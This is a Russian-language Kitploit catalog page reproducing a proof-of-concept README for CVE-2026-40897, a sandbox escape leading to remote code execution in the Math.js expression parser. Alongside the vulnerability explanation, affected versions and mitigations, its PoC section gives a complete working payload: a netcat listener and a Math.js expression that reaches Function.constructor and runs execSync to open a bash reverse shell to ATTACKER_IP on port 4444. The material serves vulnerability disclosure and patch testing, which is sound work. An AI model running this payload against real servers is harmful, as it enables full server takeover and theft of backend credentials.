Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40897 — RCE в анализаторе выражений Math.js | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-40897
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

RCE в анализаторе выражений Math.js

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40897 Удаленное выполнение кода в парсере выражений Math.js

★ CVE-2026-40897 Удаленное выполнение кода в Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Обзор

CVE-2026-40897 — это уязвимость обхода песочницы, приводящая к удаленному выполнению кода, в парсере выражений Math.js. Фильтр isSafeProperty проверяет только доступ к свойствам из пользовательских выражений, но не из внутренних путей кода. Утекая внутренний массив ArrayNode через toJSON() и перезаписывая его .map, злоумышленник может заставить внутренний код обратиться к Function.constructor и выполнить произвольный JavaScript.


Затронутые версии

КатегорияВерсия
УязвимыеMath.js 13.1.1 ≤ версия ≤ 15.1.1
Исправленные15.2.0

Воздействие

  • Выполнение произвольного JavaScript-кода (RCE)
  • Доступ к файловой системе хоста
  • Подключение обратной оболочки (reverse shell), приводящее к полной компрометации сервера
  • Эксфильтрация учетных данных бэкенда и конфиденциальных данных

Окружение

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

После запуска уязвимого окружения выполните следующие шаги, чтобы воспроизвести атаку.

Шаг 1. Запустите прослушиватель reverse shell

root@kitploit:~
nc -lvnp 4444

Шаг 2. Отправьте вредоносную полезную нагрузку

Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений в приложении).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Шаг 3. Подтвердите доступ к оболочке на стороне атакующего

Целевой сервер подключается обратно к прослушивателю атакующего, предоставляя интерактивную bash-оболочку.


Устранение

  • Обновите Math.js до исправленной версии
  • Избегайте передачи недоверенного пользовательского ввода напрямую в math.evaluate()
  • Ограничьте доступ к внутренним функциям/классам (reviver, FunctionAssignmentNode, ArrayNode) через парсер выражений

Анализ

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
Скачать инструмент